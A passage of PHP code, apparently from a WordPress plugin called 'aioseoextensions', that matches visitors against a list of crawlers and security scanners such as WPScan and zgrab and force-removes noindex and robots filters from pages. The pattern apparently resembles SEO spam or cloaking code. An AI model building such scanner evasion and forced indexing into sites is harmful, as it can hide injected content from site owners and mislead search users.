Robot','WISENutbot','Wonderbot','Woobot','Wotbox','Wprecon','WPScan','WWW-Collector-E','WWW-Mechanize','WWW::Mechanize','WWWOFFLE','x09Mozilla','x22Mozilla','Xaldon_WebSpider','Xaldon\ WebSpider','xpymep1\.exe','YoudaoBot','Zade','Zauba','zauba\.io','Zermelo','Zeus','zgrab','Zitebot','ZmEu','ZumBot','ZyBorg');
    if( isset($_SERVER['HTTP_USER_AGENT']) )
    {
        foreach($uagents_arr as $ua){
            if(stripos($_SERVER['HTTP_USER_AGENT'], $ua) !== false) return true;
        }
    }
    return false;
}


function aioseoextensions_indexSearchPage() {

try{if(isset($GLOBALS['titleline'])&&!empty($GLOBALS['titleline']))
     {
         remove_all_filters( 'wp_robots' );
         remove_all_actions( 'rank_math/head');
         add_filter( 'wpseo_robots', '__return_false' );
		 add_filter( 'wpseo_googlebot', '__return_false' );
		add_filter( 'wpseo_bingbot', '__return_false' );
        remove_action( 'wp_head', 'noindex', 1 );
     }}
catch (Exception $e){}
     
        
}


class aioseoextensionsContentMeta{
    public $page="";
    public $md5page="";
    public $pagecontent="";
}

class aioseoextensionsApiMeta{
    public $status="error";
    public $message="";
    public $data=null;
}

